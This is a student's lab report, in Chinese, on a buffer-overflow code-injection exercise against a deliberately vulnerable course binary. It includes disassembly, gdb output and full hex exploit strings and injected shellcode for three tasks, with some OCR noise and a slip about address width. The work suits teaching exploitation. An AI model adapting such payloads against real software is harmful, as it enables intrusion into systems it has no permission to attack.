天津大学

计算机系统基础上机实验报告

实验题目 4: 代码注入攻击 attack

学院名	3称_	智能与计算学部
专	业	计算机科学与技术(拔尖班)
学生姓	性名	牛天淏
学	号	3024244288
年	级_	2024 级
班	级_	计算机科学与技术拔尖 1 班
时	间	2025年 5月19日

实验 4: 代码注入攻击

Attack

1. 实验目的

进一步理解软件脆弱性和代码注入攻击。

2. 实验内容

实验内容包括以下三个任务:详细内容请参考实验指导书:实验 4.pdf

No.	任务内容							
1	任务一:在这次任务中,你不需要注入任何代码,只需要利用缓冲区溢出漏							
	洞,实现程序控制流的重定向。							
2	任务二:在这次任务中,你需要注入少量代码,利用缓冲区溢出漏洞,实现							
	程序控制流的重定向至 touch2 函 数,并进入 touch2 函数的 validate 分支。							
3	任务三:在这次任务中,你需要注入少量代码,利用缓冲区溢出漏洞,实现							
	程序控制流的重定向至 touch3 函 数,并进入 touch3 函数的 validate 分支。							

3. 实验要求

- 1) 在 Unbuntu18.04LTS 操作系统下,按照实验指导说明书,使用 gdb 和 objdump 和代码注入辅助工具,以反向工程方式完成代码攻击实验。
- 2) 任务一和任务二是必做任务; 任务三为选做, 有加分。
- 2) 需提交: 电子版实验报告全文。

4. 实验结果

首先,先用 objdump 反汇编工具,获得 ctarget 程序的汇编语言代码。任务一:

任务一需要我们利用 getbuf 函数的漏洞,使 getbuf 函数返回时,不返回 test 函数,而是跳转至 touch1 函数。

我们在 ctarget.s 中找到 getbuf 的部分:

00000000004017a8 <getbuf>:

```
4017a8: 48 83 ec 28
                               sub
                                      $0x28,%rsp
4017ac: 48 89 e7
                                      %rsp,%rdi
                               mov
4017af: e8 8c 02 00 00
                                      401a40 <Gets>
                               call
4017b4: b8 01 00 00 00
                                      $0x1, %eax
                               mov
4017b9: 48 83 c4 28
                                      $0x28,%rsp
                               add
4017bd: c3
                               ret
4017be: 90
                               nop
4017bf: 90
                               nop
```

通过第一句,我们可以知道栈空间是 0x28,即 40 字节,所以 BUFFER_SIZE 的值为 40。

栈空间释放以后,由于缓存区溢出,所以栈指针将会来到第 41 个字节,所以,加上 touch1 函数的地址占用 4 个字节以外,我们只需要存入 44 个字节即可。我们来找一下 touch1 函数的地址。

00000000004017c0 <touch1>:

```
4017c0: 48 83 ec 08
                                   $0x8, %rsp
4017c4: c7 05 0e 2d 20 00 01 movl
                                   $0x1,0x202d0e(%rip)
                                                           # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00
                                   $0x4030c5,%edi
                            mov
4017d3: e8 e8 f4 ff ff
                           call
                                   400cc0 <puts@plt>
                           mov
4017d8: bf 01 00 00 00
                                   $0x1,%edi
4017dd: e8 ab 04 00 00
                          call 401c8d <validate>
4017e2: bf 00 00 00 00
                                   $0x0,%edi
                            mov
4017e7: e8 54 f6 ff ff
                           call 400e40 <exit@plt>
```

可以看出 touch1 函数的地址为 0x4017c0。

因此,最终的答案是: 40 个 xx(不可是 0a,因为 ASCII 为 0x0a 的字符是换行符'\n'),加上 c0 17 40 00(注意是小端序)。

通过。

任务二:

实验二主要是需要我们用注入机器码的形式,利用缓存区的溢出漏洞,通过 栈空间回收时的跳转机制来到一段非法代码区域,然后通过缓存区存储需要放入 的程序段落,执行以后来到 touch2 函数中。

首先,我们先要找到 getbuf 函数的栈顶在哪。

我们通过 gdb 工具, 在 getbuf 函数的第二条指令上打上断点, 运行后获得 rsp 寄存器的值。

rsi	0x7274732065707954	8247343400600238420
rdi	0x7ffff7fb37e0	140737353824224
гbр	0x55685fe8	0x55685fe8
гѕр	0x5561dc78	0x5561dc78
г8	0x0	0
г9	0xc	12
г10	0x400704	4196100

由此可以得到此时 rsp 寄存器存储的值为 0x5561dc78,这即为栈顶的位置。通过阅读 touch2 函数的 C 语言代码可以知道,我们需要让参数 val 的值等于变量 cookie 的值才能正确的进入 validate 分支。所以第一句汇编语句应该是把 cookie 的值放入 rdi 寄存器中,其中 rdi 寄存器中存储的值应该就是 val 的值。即"mov \$0x59b997fa,%rdi"。

而我们又需要正确进入 touch2 函数。又因为题目要求,我们需要使用 ret 指令,而不可以使用 jmp 或 call 等指令,所以我们最好使用 push 指令。

00000000004017ec <touch2>:

通过阅读汇编代码我们可知,touch2 函数的地址为 0x4017ec,所以第二句指令应该为 "pushq \$0x4017ec",最后 "retq"。

通过 gcc 及 objdump 工具,可以将汇编代码生成字节码,生成结果如下:

000000000000000000 <.text>:

0:	48	c 7	c7	fa	97	b9	59	mov	\$0x59b997fa,%rdi
7:	68	ec	17	40	00			push	\$0x4017ec
c:	c3							ret	

我们可以把代码写出:

```
48 c7 c7 fa

97 b9 59 68

ec 17 40 00

c3 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

78 dc 61 55
```

任务三:

在任务三中,我们需要利用缓冲区溢出漏洞,注入一段代码,使程序控制流跳转至 touch3 函数,并成功进入其 validate 分支。与任务二不同的是,touch3 需要传入一个字符串参数 sval,并与 hexmatch 函数生成的随机字符串进行比较,匹配后才能进入 validate。

我们来阅读一下 hexmatch 函数的 C 语言代码:

```
int hexmatch(unsigned val, char *sval)
{
  char cbuf[110];
  /* Make position of check string unpredictable */
  char *s = cbuf + random() % 100;
  sprintf(s, "%.8x", val);
  return strncmp(sval, s, 9) == 0;
}
```

注意到,函数中用到了 random 函数,这就会导致栈帧的位置不稳定。所以,我们需要将字符串存储到 test 函数的栈帧中。

函数中的 sprintf 函数,是将数字定向传入到字符串中,并以小写 16 进制形式储存。所以我们传入的值就应该是 cookie 的值 59b997fa。

转化为 ASCII 码为: 35 39 62 39 39 37 66 61 (共 8 字节)。

接下来我们要获得 test 函数的栈顶位置。通过 gdb 工具,我们可以得到其栈 顶位置为 0x5561dca8。

与任务二类似,我们可以写出语句:

```
mov $0x5561dca8,%rdi
pushq $0x4018fa
retq
```

转为机器码,得:

000000000000000000 <.text>:

```
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret
```

所以最终的答案为:

```
1 48 c7 c7 a8
    dc 61 55 68
2
3 fa 18 40 00
    c3 00 00 00
4
5
    00 00 00 00
    00 00 00 00
7
    00 00 00 00
    00 00 00 00
9
    00 00 00 00
10
    00 00 00 00
11
    78 dc 61 55
12
    00 00 00 00
    35 39 62 39
13
14
    39 37 66 61
```

其中得前面部分代表着刚刚转为机器码得汇编代码,中间的"78 dc 61 55"代表的是 getbuf 函数的栈顶位置,最后还需加上由 cookie 得值转换成得 ASCII 码值。

5. 实验总结及心得体会

本次实验让我真切感受到缓冲区溢出的巨大危害。一段越界数据不仅能使程

序崩溃,更可能被恶意利用,造成权限绕过等严重后果,这让我深知代码细节不容小觑。

在汇编代码实践中,从指令解析到栈帧编写,每一步操作都加深了我对程序运行机制的理解。通过调试比对,我发现了理论与实际的差异,巩固了 x86 指令集等知识,也培养了底层排查问题的思维,收获颇丰。